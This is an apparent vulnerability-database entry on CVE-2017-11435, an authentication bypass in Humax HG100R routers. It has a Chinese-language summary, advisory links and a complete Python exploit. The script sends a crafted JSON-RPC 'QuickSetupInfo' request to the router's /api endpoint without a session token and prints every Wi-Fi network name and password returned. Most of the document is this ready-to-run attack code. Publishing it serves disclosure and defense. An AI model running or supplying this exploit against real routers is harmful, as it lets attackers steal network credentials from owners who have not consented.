https://www.exploit-db.com/exploits/42732


http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-201707-914

Humax Wi-Fi Router HG100R是韩国HUMAX（Humax）公司的一个路由器。 Humax Wi-Fi Router HG100R 2.0.6版本中存在信息泄露漏洞。攻击者可通过向管理控制台发送特制的请求利用该漏洞检索敏感信息（包括private/public IP地址、SSID名和密码）。

# coding: utf-8

# Exploit Title: Humax HG100R-* Authentication Bypass
# Date: 14/09/2017
# Exploit Author: Kivson
# Vendor Homepage: http://humaxdigital.com
# Version: VER 2.0.6
# Tested on: OSX Linux
# CVE : CVE-2017-11435


# The Humax Wi-Fi Router model HG100R-* 2.0.6 is prone to an authentication bypass vulnerability via specially
# crafted requests to the management console. The bug is exploitable remotely when the router is configured to
# expose the management console.
# The router is not validating the session token while returning answers for some methods in url '/api'.
# An attacker can use this vulnerability to retrieve sensitive information such
# as private/public IP addresses, SSID names, and passwords.

import sys
import requests


def print_help():
    print('Exploit syntax error, Example:')
    print('python exploit.py http://192.168.0.1')


def exploit(host):
    print(f'Connecting to {host}')
    path = '/api'
    payload = '{"method":"QuickSetupInfo","id":90,"jsonrpc":"2.0"}'

    response = requests.post(host + path, data=payload)
    response.raise_for_status()

    if 'result' not in response.json() or 'WiFi_Info' not in response.json()['result'] or 'wlan' not in \
            response.json()['result']['WiFi_Info']:
        print('Error, target may be no exploitable')
        return

    for wlan in response.json()['result']['WiFi_Info']['wlan']:
        print(f'Wifi data found:')
        print(f'    SSID: {wlan["ssid"]}')
        print(f'    PWD: {wlan["password"]}')


def main():
    if len(sys.argv) < 2:
        print_help()
        return
    host = sys.argv[1]
    exploit(host)


if __name__ == '__main__':
    main()

来源:MISC

链接:https://www.trustwave.com/Resources/Security-Advisories/Advisories/Multiple-Vulnerabilities-in-Humax-Routers/?fid=9700